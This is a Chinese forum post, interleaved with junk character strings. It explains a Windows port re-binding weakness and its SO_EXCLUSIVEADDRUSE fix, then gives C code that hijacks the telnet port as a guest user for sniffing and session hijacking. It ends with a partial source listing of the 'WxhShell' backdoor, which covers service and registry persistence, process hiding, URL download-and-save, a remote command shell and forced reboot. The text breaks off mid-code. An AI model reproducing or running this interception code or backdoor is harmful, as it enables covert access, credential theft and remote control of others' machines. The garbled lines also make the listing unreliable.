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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: H*<E5^#dw  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cL4Go,)w  
S m=ln)G=  
  saddr.sin_family = AF_INET; \^y~w~g?  
AG vhSd7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vYXhWqL~  
t d\gk  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); s1Wn.OGR4  
6 A]a@,PC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3*%+NQIj  
{_\dwe9  
  这意味着什么?意味着可以进行如下的攻击: 5X];?(VTsb  
Px?"5g#+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u|$HA>F[  
A~E S{Zkh  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8irTGA  
f&5S`}C  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I'{Ctc  
(HeSL),1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  p(GI02|n  
'M?ptu?f  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hUvA;E(qD  
; Gv-$0{P3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 GGHeC/4  
Iy*Q{H3[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 WixEnsJ  
NqKeQezX  
  #include 8|i<4>  
  #include &*O'qOO<2  
  #include GcO:!b*YMp  
  #include    o M@%2M_O(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   u"hr4+/  
  int main() RJDk7{(  
  { Txe*$T,(  
  WORD wVersionRequested; "X?Zw$gRud  
  DWORD ret; @zw&-b:qI  
  WSADATA wsaData; N,9~J"z  
  BOOL val; W4nn)qBrh  
  SOCKADDR_IN saddr; G){+.X4g3  
  SOCKADDR_IN scaddr; 9CwtBil<#g  
  int err; M{)eA<6  
  SOCKET s; A\7sP =  
  SOCKET sc; #H~$^L   
  int caddsize; QRl+7V  
  HANDLE mt; d?YSVmG  
  DWORD tid;   K9ih(fh)  
  wVersionRequested = MAKEWORD( 2, 2 ); dQp>z%L)  
  err = WSAStartup( wVersionRequested, &wsaData ); vzSjfv  
  if ( err != 0 ) { >^#Liwm  
  printf("error!WSAStartup failed!\n"); YT[=o}jS  
  return -1; ft{i6}  
  } L?8OWLjRy  
  saddr.sin_family = AF_INET; k{X+Y6'ku  
   vYLspZ;S  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w0sy@OF  
 C. uv0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); oGeV!hD  
  saddr.sin_port = htons(23);  rB(Q)N  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,:-^O#  
  { }>,%El/  
  printf("error!socket failed!\n"); VpbJe@*D  
  return -1; Jz&dC  
  } IJPyCi)  
  val = TRUE; OOnj(%g  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5?(dI9A"K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ' MyJw*%b]  
  { WyQ8}]1b  
  printf("error!setsockopt failed!\n"); ,_7m<(/f  
  return -1; X>yE<ni  
  } {~g7&+9x*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Z!'k N\z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g?j^d:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "<&o ;x<  
6oq^n s-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "J}B lB  
  { m\ qR myO  
  ret=GetLastError(); u0[O /G  
  printf("error!bind failed!\n"); j[$+DCO#|m  
  return -1; ,@N.v?p>  
  } ojj T  
  listen(s,2); WoSKN7*  
  while(1) hD,^mru  
  { hOIg 7=v  
  caddsize = sizeof(scaddr); Rdd9JJsVd  
  //接受连接请求 [%Dh0hOg  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Bz:Hp{7&  
  if(sc!=INVALID_SOCKET) d|UH AX  
  { ,gkWksl9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U&$I!80.  
  if(mt==NULL) h"2^` )!u  
  { JiA1yt  
  printf("Thread Creat Failed!\n"); >: @\SU  
  break; kY4h-oZ  
  } l`j@QP  
  } >E,/|K*  
  CloseHandle(mt); n|QA\,=  
  } QqeF   
  closesocket(s); @k:@mzB7R  
  WSACleanup(); &Dp&  
  return 0; 9]{Ss$W3x  
  }   t[b(erO'  
  DWORD WINAPI ClientThread(LPVOID lpParam) dj6Lf  
  { fl_a@QdB#  
  SOCKET ss = (SOCKET)lpParam; 'P&r^V\~(/  
  SOCKET sc; mII8jyg*c  
  unsigned char buf[4096]; ( Y mIui>  
  SOCKADDR_IN saddr; vL"n oLs  
  long num; <`A!9+  
  DWORD val; zrtbk~v8y  
  DWORD ret; j_zy"8Y{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 QYBLU7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   bX%4[BKP  
  saddr.sin_family = AF_INET; 2|M,#2E-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); to\$'2F"q  
  saddr.sin_port = htons(23); QX(t@VP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k.Z?BNP  
  { !) d  
  printf("error!socket failed!\n"); *9r 32]i;  
  return -1; G%%F6)W  
  } ,zBc-Cm  
  val = 100; d _=44( -  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y dzvjp=  
  { cf_X=;yaqy  
  ret = GetLastError(); qNkX:|j  
  return -1; yW_goS0  
  } M|$A)D1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D@iS#+22  
  { b0/[+OY   
  ret = GetLastError(); =D 5!Xq'|  
  return -1; CTX%~1 _`O  
  } ].gC9@C:$i  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pl 1CEoe  
  { + k   
  printf("error!socket connect failed!\n"); 7H[.o~\  
  closesocket(sc); 6SSrkj}U  
  closesocket(ss); ?Y$3R"p@3`  
  return -1; /q`f3OV"  
  } DEzL]1;P  
  while(1) ,=}+.ax  
  { wqXo]dX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 baf@"P9@\A  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 V Z60   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6lxZo_  
  num = recv(ss,buf,4096,0); dSzq}w4xY  
  if(num>0) k0DX|O8mXV  
  send(sc,buf,num,0); OadGwa\:s  
  else if(num==0) QVR-`d/  
  break; 9Bu=8P?  
  num = recv(sc,buf,4096,0); UWBR5  
  if(num>0) ) .H nK  
  send(ss,buf,num,0); K5d>{c  
  else if(num==0) xkz`is77Y@  
  break; q +c~Bd  
  } Fw"x4w  
  closesocket(ss); jATN):8W  
  closesocket(sc); pkA(\0E8  
  return 0 ; tpKQ$) ed  
  } <UJ5n) }"\  
&)Iue<&2  
5kj=Y]9\I  
========================================================== N8]d0  
k%cT38V*  
下边附上一个代码,,WXhSHELL FBI^}^#_  
a^9}ceu?   
========================================================== &R}2/Mt  
/vFdhh  
#include "stdafx.h" `ve5>aw0_Y  
4*+)D8  
#include <stdio.h> T(eNK c2  
#include <string.h> }nNCgH  
#include <windows.h> r6`KZ TU  
#include <winsock2.h> ,tOc+3Qz$  
#include <winsvc.h> ^(yU)k3pu  
#include <urlmon.h> If.hA}  
cz*Z/5XH  
#pragma comment (lib, "Ws2_32.lib") WAh{*$Rpl  
#pragma comment (lib, "urlmon.lib") *s"{JrG`O  
"V7&@3  
#define MAX_USER   100 // 最大客户端连接数 0-A@X>6bs  
#define BUF_SOCK   200 // sock buffer ).>O6A4:C  
#define KEY_BUFF   255 // 输入 buffer sMqAuhw$.  
H52] Zm  
#define REBOOT     0   // 重启 3sBu`R*hk  
#define SHUTDOWN   1   // 关机 s$OnQc2/  
\Ot,&Z k2  
#define DEF_PORT   5000 // 监听端口 p< jM%fbZk  
ais"xm<V  
#define REG_LEN     16   // 注册表键长度 [,p[%Dza  
#define SVC_LEN     80   // NT服务名长度 {= l 9{K`~  
09rbu\h  
// 从dll定义API yi3Cd@t({{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h{M.+I$}C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D& #ph%U,P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z&0*\.6S~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I)X33X,  
1C\[n(9  
// wxhshell配置信息 <al/>7z' O  
struct WSCFG { 9mH/xP:y  
  int ws_port;         // 监听端口 \P0>TWE  
  char ws_passstr[REG_LEN]; // 口令 pWXoJ0N  
  int ws_autoins;       // 安装标记, 1=yes 0=no aUX.4#|%  
  char ws_regname[REG_LEN]; // 注册表键名 FOd)zU*L2  
  char ws_svcname[REG_LEN]; // 服务名 =P<7tsSuoK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &p#.m"Oon  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N[AX]gOJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q>emyij  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ibskce{H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8;]U:tv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p_2-(n@  
3)+}2  
}; (y!<^ Q  
F2RU7o'f.  
// default Wxhshell configuration :Sd iG=t  
struct WSCFG wscfg={DEF_PORT, ?Dk&5d^d  
    "xuhuanlingzhe", u >o2lvy8  
    1, }*I:0"WH  
    "Wxhshell", 0 lsX~d'W  
    "Wxhshell", o72G oUfs  
            "WxhShell Service", \"@BZ.y  
    "Wrsky Windows CmdShell Service", v9s /!<j  
    "Please Input Your Password: ", 7ClN-/4  
  1, n$}Cj}eju  
  "http://www.wrsky.com/wxhshell.exe", juQQ  
  "Wxhshell.exe" }_L,Xg:I  
    }; Fm3B8Int  
Ks@  
// 消息定义模块 8n^v,s>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w{; esU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nv^nq]4'Dq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h"{Z%XPX#  
char *msg_ws_ext="\n\rExit."; {  'Db  
char *msg_ws_end="\n\rQuit."; + \AiUY  
char *msg_ws_boot="\n\rReboot..."; }?jL;CCe  
char *msg_ws_poff="\n\rShutdown..."; @NS=  
char *msg_ws_down="\n\rSave to "; kG>d^K  
o3~ecJ?k  
char *msg_ws_err="\n\rErr!"; O_jf)N\pi  
char *msg_ws_ok="\n\rOK!"; J2W:Q  
4 u!)QG  
char ExeFile[MAX_PATH]; c~a:i=y67  
int nUser = 0; !yQ#E2/A  
HANDLE handles[MAX_USER]; E/</  
int OsIsNt; -_RMiGM?T  
Oy^)lF/  
SERVICE_STATUS       serviceStatus; ,f;YJHEx8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :Ojsj_Z;;  
~]_g q;bG  
// 函数声明 d)&}% 2ku  
int Install(void); n$fYgZKn  
int Uninstall(void); P=%' 2BQ{{  
int DownloadFile(char *sURL, SOCKET wsh); b+.P4+  
int Boot(int flag); tz&oe  
void HideProc(void); ~;A36M-[.  
int GetOsVer(void); vf+GC*f  
int Wxhshell(SOCKET wsl); 2}P?N  
void TalkWithClient(void *cs); L`Lro:E?kL  
int CmdShell(SOCKET sock); OTNcNY  
int StartFromService(void); 1 \_S1ZS  
int StartWxhshell(LPSTR lpCmdLine); 5P'<X p  
~a^"VQ5]ac  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U!rhj&n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,s*-2Sz  
WZ a?Xb  
// 数据结构和表定义 &cEQ6('H  
SERVICE_TABLE_ENTRY DispatchTable[] = P O,mg?JG(  
{ CE19V:zp  
{wscfg.ws_svcname, NTServiceMain}, spE(s%dgL  
{NULL, NULL} BuE=(v2}  
}; Tq7cZe"6  
u"*@k^}(  
// 自我安装 n:-:LSa+3  
int Install(void) T(E$0a)#  
{ 4ACL|RF)A  
  char svExeFile[MAX_PATH]; mgk<PY  
  HKEY key; 1I*b7t  
  strcpy(svExeFile,ExeFile); WxB}Uh  
fP>*EDn@xg  
// 如果是win9x系统,修改注册表设为自启动 [nO\Q3c|@$  
if(!OsIsNt) { o+o'!)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A3VXh^y+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kDAPT_Gid  
  RegCloseKey(key); c5& _'&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u&HLdSHe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2`XG"[@  
  RegCloseKey(key); s3sAw~++  
  return 0; u/5 ^N^@^  
    } b42"Y,sbB  
  } h#ogL-UU  
} mlsM;A d2  
else { &> Myf@  
tCFXb6Cz  
// 如果是NT以上系统,安装为系统服务 dy^Zlu` f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p<w2e  
if (schSCManager!=0) Q{ibH=^  
{ o/grM+_  
  SC_HANDLE schService = CreateService %Y7\0q~Z  
  ( <g SZt\  
  schSCManager, OaeGukhX&  
  wscfg.ws_svcname, 66G$5  
  wscfg.ws_svcdisp, 8cV3VapF  
  SERVICE_ALL_ACCESS, Flrpk`4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^ gY^I`"e6  
  SERVICE_AUTO_START, \J>a*  
  SERVICE_ERROR_NORMAL, dX4"o?KD>  
  svExeFile, 2E Ufd\   
  NULL, 8Z{e/wnVF  
  NULL, uTgvMkO  
  NULL, MCBZq\c  
  NULL, Dp)5u@I  
  NULL o(=\FNe  
  ); KiXRBFo  
  if (schService!=0)  F'!pM(+  
  { ]m _<lRye  
  CloseServiceHandle(schService); ,P&.qg i=(  
  CloseServiceHandle(schSCManager); 5 *8 V4ca  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); owz6j:  
  strcat(svExeFile,wscfg.ws_svcname); z?NMQ8l|:6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9A@/5Z:v5W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8U98`# i  
  RegCloseKey(key); g%P6f  
  return 0; s<f<:BC  
    } 73b(A|kQ@  
  } Qy>n]->%  
  CloseServiceHandle(schSCManager); N,F mu  
} G4=R4'hC  
} hRU.^Fn#%  
&LRO^[d  
return 1; {tq.c9+!d  
} bqmb|mD  
8|5ttdZ  
// 自我卸载 f-lM[\ma_  
int Uninstall(void) IY Ilab\TZ  
{ x4$#x70?  
  HKEY key; |\PI"rW  
c Z6Zx]  
if(!OsIsNt) { ;L <D-=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T*AXS|=ju  
  RegDeleteValue(key,wscfg.ws_regname); ID/=YG@  
  RegCloseKey(key); {yo<19kV@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I ,j,H z0  
  RegDeleteValue(key,wscfg.ws_regname); 4<j)1i=A  
  RegCloseKey(key); N- !>\n  
  return 0; v}vwk8  
  } l70a&[W  
} /$w,8pV =  
} `x{*P.]N!<  
else { |ia#Elavo  
] LcCom:]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  `7v"(  
if (schSCManager!=0) >(>,*zP<9  
{ xL-]gwq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >S<`ri'5_  
  if (schService!=0) {5%u G2g  
  { d:j65yu  
  if(DeleteService(schService)!=0) { FX"j8i/N  
  CloseServiceHandle(schService); 'T!^H  
  CloseServiceHandle(schSCManager); Pdq}~um3{  
  return 0; /2%646  
  } L5-p0O`R  
  CloseServiceHandle(schService); O[$,e%  
  } NNOemTh  
  CloseServiceHandle(schSCManager); AQx:}PO  
} Y@jO#6R  
} v[++"=< o8  
XfYMv38(  
return 1; F.]D\"0`  
} pTQ70V3  
<D_UF1Pk  
// 从指定url下载文件 xaPaK-  
int DownloadFile(char *sURL, SOCKET wsh) bdS  
{ wFe?0u  
  HRESULT hr; aEL^N0\d  
char seps[]= "/"; dH5 Go9`~R  
char *token; J~}%j.QQ7  
char *file; ^~ 95q0hq:  
char myURL[MAX_PATH]; 3PLYC}Jq  
char myFILE[MAX_PATH]; {IB}g:  
bfE4.YF  
strcpy(myURL,sURL); n+'gVEBA  
  token=strtok(myURL,seps); e&R?9z-*  
  while(token!=NULL) 3qlY=5Y  
  { H.Q648A"PF  
    file=token; 3Fu5,H EJ  
  token=strtok(NULL,seps); k1.h|&JJN  
  } ><&>JgM  
^\(<s  
GetCurrentDirectory(MAX_PATH,myFILE); HQy:,_f@  
strcat(myFILE, "\\"); ++gWyzD  
strcat(myFILE, file); /WxCsQn  
  send(wsh,myFILE,strlen(myFILE),0); Bn4wr  
send(wsh,"...",3,0); iAl.(j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^uV=|1<%  
  if(hr==S_OK) H(QbH)S$6  
return 0; ]B2%\}c  
else PwC9@c%c  
return 1; 6?BV J  
CVAX?c{   
} +I <^w)  
l^cz&k=+  
// 系统电源模块 ]YciLc(  
int Boot(int flag) (g*mC7 HN  
{ {Qf/.[  
  HANDLE hToken; {hH8+4c7  
  TOKEN_PRIVILEGES tkp; B>kVJK`X  
!r#36kO  
  if(OsIsNt) { 3+4U?~^k*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G'<Ie@$6l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <1pRAN0  
    tkp.PrivilegeCount = 1; <9/?+)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4}r.g0L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cHAq[Ebp2!  
if(flag==REBOOT) { Oj F]K,$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :#zVF[Y(2  
  return 0; O:{N5+HVG  
} _, r6t  
else { !q[r_wL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {5NE jUu{j  
  return 0; Jwtt&" c0.  
} B;A< pNT  
  } C9j3|]nyL  
  else { kTfE*We9  
if(flag==REBOOT) { }nK=~Wcu\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Maw$^Tz,  
  return 0; aJzyEb  
} GTocN1,Z~a  
else { f5`q9w_c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :m[HUh  
  return 0; 3n)\D<f]#  
} wlEmy.)H  
} 2~ y<l  
5M? I-m  
return 1; Ge=|RAw3  
} )~{8C:  
*?x[pqGq  
// win9x进程隐藏模块 ~j36(`t  
void HideProc(void) S rom@c  
{ \B Uno6  
!F08F>@D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \ ^3cNw  
  if ( hKernel != NULL ) @M)"  
  { ] A,Og_g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7.nNz&UG]5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J93@\b  
    FreeLibrary(hKernel); tpn.\z%  
  } KP xf  
qM(@wFg  
return; YfUo=ku  
} ZPlY]e  
,CP&o  
// 获取操作系统版本 IWT -)+  
int GetOsVer(void) ZRP[N)Ld$  
{ i{7Vh0n3S-  
  OSVERSIONINFO winfo; j-k]|0ea}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lbj_ if;  
  GetVersionEx(&winfo); swfjKBfw+g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4CK$W` V  
  return 1; A,;[9J2\&  
  else av>Ff6w)Y  
  return 0; )5ev4Qf  
} <y<   
KSR'X0'  
// 客户端句柄模块 2Xqa?ay0>  
int Wxhshell(SOCKET wsl) 3RP\w~?  
{ z]R% A:6K  
  SOCKET wsh; mc|8t0+1`  
  struct sockaddr_in client; <.U(%`|  
  DWORD myID; /& o<kY  
_m#P\f'p  
  while(nUser<MAX_USER) t&MLgu  
{ suFO~/lRno  
  int nSize=sizeof(client); `##^@N<P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bb!cZ >Z  
  if(wsh==INVALID_SOCKET) return 1; Vy+kq_9  
}_h2:^n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); " XlXu  
if(handles[nUser]==0) 3z!^UA>q  
  closesocket(wsh); **~1`_7~*  
else P] Xl  
  nUser++; o>y@1%aU  
  } [W8?ww%qT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w^)_Fk3  
 Eikt,  
  return 0; Jzj>=jWX@  
} c{\x< AwO  
;*>':-4  
// 关闭 socket 7D=gAMPvJ  
void CloseIt(SOCKET wsh) im@c||  
{ :Y[?@/m4  
closesocket(wsh); {TC_ 4Y|8  
nUser--; hEfFMi=a`  
ExitThread(0); Z#flu Q%V  
} ngl8) B  
?dQ#%06mn  
// 客户端请求句柄 )'e9(4[V1  
void TalkWithClient(void *cs) V ee;&  
{ f=Kt[|%'e  
~?:Xi_3Lo  
  SOCKET wsh=(SOCKET)cs; mO @Sl(9  
  char pwd[SVC_LEN]; 3bR 6Y[  
  char cmd[KEY_BUFF]; otJHcGv  
char chr[1]; 4@"n7/<  
int i,j; Ya ~lPc  
FfibR\dhY  
  while (nUser < MAX_USER) { ~uweBp~O  
{AO`[  
if(wscfg.ws_passstr) { ]MRQcqbpqL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $m0-IyXcv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ntD8:%m  
  //ZeroMemory(pwd,KEY_BUFF); rE4qPzL  
      i=0; rB-}<22.  
  while(i<SVC_LEN) { 3.?B')  
E>NL/[1d  
  // 设置超时 v$EgVc K  
  fd_set FdRead; j?s+#t  
  struct timeval TimeOut; c3|/8  
  FD_ZERO(&FdRead); cQ`+ A|q  
  FD_SET(wsh,&FdRead); 0 rilg  
  TimeOut.tv_sec=8; H JjW  
  TimeOut.tv_usec=0; (!dwUB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TuMD+^x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c7/fQc)h4d  
'DCB 7T8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d<>jhp5el  
  pwd=chr[0]; ~n9-  
  if(chr[0]==0xd || chr[0]==0xa) { 1" #W1im  
  pwd=0; Y%YPR=j~ &  
  break; |3uE"\nfA  
  } o,DI7sb  
  i++; Yc~c(1VRz  
    }  *egAx  
U?yKwH^{  
  // 如果是非法用户,关闭 socket %|gj46  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]?j[P=\  
} m; m4/z3U  
o3xfif  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KI8Q =*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qh~S)^zFJ  
rR 3(yy0L  
while(1) { Tp fC  
7Hp~:i30  
  ZeroMemory(cmd,KEY_BUFF); ,?>:Cdz4  
te8lF{R  
      // 自动支持客户端 telnet标准   ]x`I@vSf7R  
  j=0; JnBg;D|)@  
  while(j<KEY_BUFF) { 2F fwct:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2a[_^v $v  
  cmd[j]=chr[0]; 2:D1<z6RQ  
  if(chr[0]==0xa || chr[0]==0xd) { b}5hqIy  
  cmd[j]=0; pk2}]jx"  
  break; S1a}9Z|  
  } xN]88L}Tn  
  j++; 1F58 2 l  
    } a>/jW-?  
2=ZZR8v  
  // 下载文件 T0Zv.  
  if(strstr(cmd,"http://")) { ]WP[hF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DeL7sU  
  if(DownloadFile(cmd,wsh)) oB]   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U0t~H{-H  
  else qra5&Fvb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c!}f\ ]D  
  } R'{BkC}.  
  else { $ h<l  
x1nqhSaD  
    switch(cmd[0]) { c=A)_ZFg  
  LG3:V'|  
  // 帮助 F3V_rE<  
  case '?': { Ah <6m5+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q )b*; @  
    break; CkA ~'&C  
  } Lv`NS+fX  
  // 安装 En]+mIEo  
  case 'i': { pX/,s#dY>  
    if(Install()) X1{U''$ K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l~9P4 ,  
    else VvTs87  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .}zpvr8YP  
    break; M,nLPHgK  
    } X6lR?6u%|  
  // 卸载 M<x W)R  
  case 'r': { K,\Bj/V(  
    if(Uninstall()) rxJWU JMxK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }n91aE3v  
    else Sxw%6Va]p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hWqI*xSaJ  
    break; 1Ev#[FOc  
    } Q\4nduQ  
  // 显示 wxhshell 所在路径 "mm|0PUJ  
  case 'p': { 56R)631]p  
    char svExeFile[MAX_PATH]; d 9n{jv|  
    strcpy(svExeFile,"\n\r"); ]rP'\a  
      strcat(svExeFile,ExeFile); eTp}*'$p  
        send(wsh,svExeFile,strlen(svExeFile),0); dJ0qg_ U&  
    break; MVpk/S%W  
    } y8.(filNB  
  // 重启 ,awp)@VG7  
  case 'b': { CH/*MA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NFQR  
    if(Boot(REBOOT)) [rt+KA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M)oJ06`K  
    else { 8+7=yN(  
    closesocket(wsh); 5%E.UjC  
    ExitThread(0); Cyw cJ  
    } u LXV,  
    break; kTLA["<m  
    } !z.C}n5F  
  // 关机 }4n?k'_s?  
  case 'd': { d\{#*{_A  
